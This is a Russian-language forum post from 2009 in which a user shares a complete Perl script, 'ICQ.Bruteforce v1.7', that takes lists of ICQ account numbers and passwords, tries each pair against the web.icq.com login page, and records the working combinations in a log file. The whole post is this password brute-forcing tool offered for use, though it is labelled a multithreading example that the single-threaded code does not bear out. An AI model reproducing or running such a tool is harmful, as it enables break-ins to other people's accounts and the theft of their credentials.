Показать сообщение отдельно

  #9  
Старый 18.03.2009, 09:20
PandoraBox
Постоянный
Регистрация: 06.05.2007
Сообщений: 393
С нами: 10008797

Репутация: 398
По умолчанию

на перл для многопоточности!

Код:
#!/usr/bin/perl

#############################################
#############################################
#
# ICQ.Bruteforce v1.7 by UsEle$$ gr0up
#
# Language: Perl Code
# Platform: Any with Perl started
# Author: Hunt
# All Rights Reserved by UsEle$$ gr0up
#
# 11.12.02
#
#############################################
#############################################

use IO::Socket;

$negative = 'incorrect';
$positive = 'change_details';
$server   = 'web.icq.com';

# local files directives
$uins        = 'uins.txt';
$passwordlst = 'pass.txt';
$success     = 'log.txt';
$debuglog    = 'debug.log';

# begin of script-code

print "\n\n\tICQ.Bruteforce v1.7 by UsEle\$\$ gr0up\n\n";
print "\tLanguage: Perl Code\n";
print "\tPlatform: Any with Perl started\n";
print "\tAuthor: Hunt\n";
print "\tAll Rights Reserved by UsEle\$\$ gr0up\n";
print "\tReady to work...\n\n";

&checkstart; # checking configuration
&openuins;   # opening uins & pass list

sub checkstart
{
  crash($uins) unless -f $uins;
  crash($passwordlst) unless -f $passwordlst;
}

sub openuins
{
  open UINS, "< $uins";
  while (<UINS>) {
    chomp $_;
    push @uinslst, $_;
  }
  close UINS;
  for ($iall = 0; $iall <= scalar @uinslst; $iall++) {
    $prepareuin = $uinslst[$iall];
    openpass($prepareuin);
  }
}

sub openpass
{
  my($uin) = @_;
  open PASS, "< $passwordlst";
#  while (<PASS>) {
#    chomp $_;
#    push @ps, $_;
#  }
  @ps = <PASS> while <PASS>;
  close PASS;
  foreach $pass (@ps) {
    $done = crack($pass, $uin);
    if ($done eq 2) {
      print "\tFound\n";
      return;
    }
    return if $done eq 3;
  }
}

sub crack
{
  my($passwd, $uin) = @_;
  return 3 unless $passwd;
  print "\tTrying $uin and $passwd... ";
  $dir = "/newlogin/1,,,00.html?&karma_fail_url=http://web.icq.com/login/login_page?karma_product_css=11&karma_success_url=http://web.icq.com/whitepages/change_details/?&karma_forget=1&karma_service=1&karma_user_login=$uin&karma_user_passwd=$passwd";
  $resuilt = sock($dir);
  if ($resuilt == -1) {
    print "Can\'t connect to server... Reconnecting\n";
    redo;
  } elsif (!$resuilt) {
    print "failed\n";
    return 0;
  } elsif ($resuilt) {
    print "success\n";
    logging($success, "$uin\:$passwd");
    $i++;
    return 2;
  }
}

sub sock
{
  my($socket);
  my($get) = @_;
  $socket = IO::Socket::INET->new(PeerAddr => $server,
                                  PeerPort => 80,
                                  Proto => tcp) or return -1;
  $get =~ s/\r|\n//g;
  print $socket "HEAD $get HTTP/1.0\n\n";
  while (<$socket>) {
    $answer = $_;
    chomp $answer;
    if ($answer =~ /$positive/) {
      close $socket;
      return 1;
    }
    if ($answer =~ /$negative/) {
      close $socket;
      return 0;
    }
  }
}

sub logging
{
  my($logg, $string) = @_;
  open LOGG, ">> $logg";
  print LOGG "$string\n";
  close LOGG;    
}

sub crash
{
  my($file) = @_;
  print "\tCan\'t access to $file\n";
  exit;
}
 
Ответить с цитированием